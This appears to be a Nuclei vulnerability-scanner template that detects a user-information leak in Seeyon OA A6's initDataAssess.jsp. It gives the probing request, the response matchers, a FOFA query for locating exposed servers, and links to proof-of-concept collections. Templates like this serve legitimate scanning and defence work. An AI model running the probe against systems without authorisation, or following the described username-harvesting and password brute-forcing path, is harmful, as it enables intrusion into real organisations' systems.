nuclei-templates/http/vulnerabilities/seeyon/seeyon-initdata-exposure.yaml

35 lines
1.2 KiB
YAML
Executable File

id: seeyon-initdata-exposure
info:
name: Seeyon OA A6 initDataAssess.jsp - Information Disclosure
author: SleepingBag945
severity: medium
description: |
Seeyon OA A6 initDataAssess.jsp has leaked user sensitive information, attacker can use the obtained username to blast the user's password to enter the background for further attacks.
reference:
- https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
- https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20A6%20initDataAssess.jsp%20%E7%94%A8%E6%88%B7%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
metadata:
verified: true
max-request: 1
fofa-query: body="yyoa" && app="致远互联-OA"
tags: seeyon,oa,info-leak
http:
- raw:
- |
GET /yyoa/assess/js/initDataAssess.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "personList"
- "personHash.Add"
condition: and
- type: status
status:
- 200